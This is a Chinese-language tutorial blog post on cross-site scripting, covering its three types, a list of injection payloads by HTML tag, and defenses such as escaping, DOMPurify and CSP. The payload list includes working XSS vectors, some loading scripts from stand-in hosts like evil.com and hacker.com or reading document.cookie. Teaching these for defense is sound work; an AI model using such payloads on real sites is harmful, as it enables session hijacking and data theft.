0
点赞
收藏
分享

微信扫一扫

XSS(跨站脚本)漏洞及解决

云上笔记 2021-09-27 阅读 67
前端

xss是什么

xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的。


本质:浏览器把输入数据插入页面中,当成脚本执行;
XSS分为:

  • 存储型
    存储区域在后端数据库,插入点在HTML
  • 反射型
    存储区域在URL,插入点在HTML
  • DOM型XSS
    存储区域在数据库、前端存储、URL都可能发生;插入点在javascript

反射型XSS

  • 1、攻击者构造出特殊的 URL,其中包含恶意代码。
  • 2、攻击者诱使用户点击链接,恶意代码被拼接到 HTML 中返回给浏览
    器。
  • 3、浏览器解析执行。
  • 4、恶意代码窃取用户数据并发送到攻击者的网站。攻击者冒充用户的行 为,调用目标网站接口执行攻击者指定的操作。

存储型XSS

  • 1、攻击者构造恶意代码,并提交保存到数据库。
  • 2、用户打开应用,从数据库读取恶意代码,拼接到 HTML 中返回给浏览
    器。
  • 3、浏览器解析执行。
  • 4、恶意代码窃取用户数据并发送到攻击者的网站。攻击者冒充用户的行 为,调用目标网站接口执行攻击者指定的操作。

DOM型XSS

  • 1、攻击者构造出特殊的 URL,其中包含恶意代码。
  • 2、攻击者诱使用户点击链接。
  • 3、浏览器解析执行,前端取出 URL 中的恶意代码并执行。
  • 4、恶意代码窃取用户数据并发送到攻击者的网站。攻击者冒充用户的行 为,调>用目标网站接口执行攻击者指定的操作。

XSS的攻击载荷

  • <script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
<script src=http://xxx.com/xss.js></script>  #引用外部的xss
<script> alert("hack")</script>   #弹出hack
<script>alert(document.cookie)</script> #弹出cookie

<img>标签:

<img  src=1  onerror=alert("hack")>
<img  src=1  onerror=alert(/hack/)>
<img  src=1  onerror=alert(document.cookie)>  #弹出cookie
<img  src=1  onerror=alert(123)>      注:对于数字,可以不用引号
<img  src="javascript:alert("XSS");">
<img  dynsrc="javascript:alert('XSS')">
<img  lowsrc="javascript:alert('XSS')">
  • <body>标签:可以使用onload属性或其他更加模糊的属性(如属性)在标记内部传递XSS有效内容background
<body onload=alert("XSS")>
<body background="javascript:alert("XSS")">
  • <iframe>标签:该<iframe>标签允许另一个HTML网页的嵌入到父页面。
    IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段
<iframe src=”http://evil.com/xss.html”>
  • <input>标签:在某些浏览器中,如果标记的type属性<input>设置为image,则可以对其进行操作以嵌入脚本
<input type="image" src="javascript:alert('XSS');">
  • <link>标签:<link>标签,这是经常被用来连接外部的样式表可以包含的脚本
<link rel="stylesheet" href="javascript:alert('XSS');">
  • <table>标签:可以利用和标签的background属性来引用脚本而不是图像
<table background="javascript:alert('XSS')">
 
<td background="javascript:alert('XSS')">
  • <div>标签:该<div>标签,类似于<table>和<td>标签也可以指定一个背景,因此嵌入的脚本。
<div style="background-image: url(javascript:alert('XSS'))">
 
<div style="width: expression(alert('XSS'));">
  • <object>标签:该<object>标签可用于从外部站点脚本包含
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">

防御

  • 利用模板引擎
    模板引擎一般自带转义,需尽量保持最新,避免低版本漏洞
  • 避免内联事件
    尽量不要用onLoad=“onload(‘{{data}}’)”
    onClick=“go(‘{{action}}’)” 这种写法
  • 避免拼接 HTML
    使用成熟的渲染框架,并保持新版本+后端过滤,如vue,angular等
    使用成熟的过滤器,并保持新版本,如ESAPI,Dompurify等
  • 增加攻击难度,降低攻击后果
    严格白名单、规范的CSP、限制⻓度、http-only等
举报

相关推荐

0 条评论